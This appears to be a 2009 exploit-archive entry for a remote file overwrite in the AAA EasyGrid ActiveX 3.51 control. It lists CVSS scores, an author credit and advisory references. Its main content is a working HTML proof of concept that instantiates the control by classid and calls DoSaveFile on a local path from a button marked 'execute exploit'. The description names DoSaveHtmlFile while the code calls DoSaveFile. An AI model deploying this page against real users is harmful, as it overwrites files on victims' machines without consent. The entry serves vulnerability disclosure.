AAA EasyGrid ActiveX 3.51 Remote File Overwrite Exploit

2009-01-16 / 2009-01-17
Credit: Houssamix
Risk: High
Local: No
Remote: Yes


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

=======================================================================================<br> Author: Houssamix <br> =======================================================================================<br> - Viva Gazza - Viva Palestine - <br> AAA EasyGrid ActiveX v 3.51 Remote File Overwrite exploit <br> Download : http://www.share2.com/easygrid/download.htm <br> Tested on Windows XP Professional SP2 , with Internet Explorer 6 <br> Note : DoSaveHtmlFile() is vuln to , it well overwitten the file with some html code <br> =======================================================================================<br> <HTML> <BODY> <object id=hsmx classid="clsid:{DD44C0EA-B2CF-31D1-8DD3-444553540000}"></object> <SCRIPT> function hehe() { File = "c:\\hsmx.txt" hsmx.DoSaveFile(File) } </SCRIPT> <input language=JavaScript onclick=hehe() type=button value="execute exploit"><br> </body> </HTML> =======================================================================================

References:

http://xforce.iss.net/xforce/xfdb/47946
http://www.securityfocus.com/bid/33272
http://www.milw0rm.com/exploits/7779
http://secunia.com/advisories/33537


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